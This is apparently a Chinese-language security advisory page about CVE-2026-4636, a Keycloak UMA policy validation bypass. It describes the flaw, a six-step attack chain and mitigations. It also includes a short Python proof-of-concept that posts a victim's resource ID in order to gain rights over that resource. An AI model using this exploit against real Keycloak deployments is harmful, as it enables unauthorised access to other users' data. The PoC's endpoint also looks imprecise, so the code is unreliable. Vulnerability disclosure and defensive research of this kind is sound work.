IPBUF安全漏洞报告
English
CVE-2026-4636 CVSS 8.1 高危

CVE-2026-4636 Keycloak UMA策略验证绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-4636
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

KeycloakUMA权限绕过CVE-2026-4636访问控制

漏洞概述

Keycloak中存在一个安全漏洞,拥有uma_protection角色的经过身份验证的用户可以绕过用户管理访问(UMA)策略验证。攻击者能够在策略创建请求中包含属于其他用户的资源标识符,即使URL路径指定的是攻击者拥有的资源。这导致攻击者获得对受害者拥有资源的未经授权的权限,从而能够获取请求方令牌(RPT)并访问敏感信息或执行未经授权的操作。

技术细节

该漏洞的核心在于Keycloak在处理UMA策略创建时的逻辑缺陷。当用户尝试为资源创建UMA策略时,系统通常会验证请求者是否拥有该资源。然而,漏洞允许拥有uma_protection角色的攻击者篡改请求参数,在请求体中插入受害者拥有的资源ID,而URL路径中保持为攻击者拥有的资源。由于验证逻辑存在疏漏,服务器仅校验了URL中的资源归属,而未严格校验请求体中关联的资源ID。这导致策略被错误地绑定到了受害者的资源上。攻击者随后可以利用该策略申请RPT令牌,成功获取对受害者资源的访问权限,从而绕过原有的权限隔离机制。

攻击链分析

STEP 1
步骤1
攻击者注册一个Keycloak账户并获得uma_protection角色,或者劫持具有该角色的账户。
STEP 2
步骤2
攻击者枚举并确定目标受害者拥有的资源ID(Resource ID)。
STEP 3
步骤3
攻击者向服务器发送策略创建请求。在请求体中,攻击者将受保护的资源ID指定为受害者的资源ID。
STEP 4
步骤4
Keycloak服务器处理请求,由于验证逻辑缺陷,未拒绝将受害者资源绑定到攻击者策略的请求,成功创建策略。
STEP 5
步骤5
攻击者利用新创建的策略向令牌端点请求RPT(Requesting Party Token)。
STEP 6
步骤6
攻击者使用获取的RPT访问受害者的受保护资源,导致数据泄露或未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Keycloak instance base_url = "http://target-keycloak/auth/realms/myrealm" resource_set_url = f"{base_url}/authz/protection/resource_set" access_token = "<ATTACKER_ACCESS_TOKEN_WITH_UMA_PROTECTION>" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Scenario: Attacker creates a policy. # The URL endpoint might imply creating a policy for attacker's scope, # but the payload injects a victim's resource ID. victim_resource_id = "<VICTIM_RESOURCE_UUID>" payload = { "name": "Exploit Policy", "scopes": ["view", "edit"], # Vulnerability: The application does not verify if the attacker owns this resource_id "resources": [victim_resource_id] } response = requests.post(resource_set_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Policy successfully created for victim's resource.") print("[+] Attacker can now request an RPT for this resource.") else: print(f"[-] Failed: {response.status_code}") print(response.text)

影响范围

Keycloak (具体受影响版本请参考厂商安全公告)

防御指南

临时缓解措施
建议立即检查并限制uma_protection角色的授予范围,仅授予必要的管理员或可信服务账户。同时,应尽快应用官方发布的安全更新补丁(参考Red Hat安全公告RHSA-2026:6475等),修复UMA策略验证逻辑中的缺陷。在未修复前,加强对UMA资源创建请求的日志监控,以发现潜在的异常授权行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表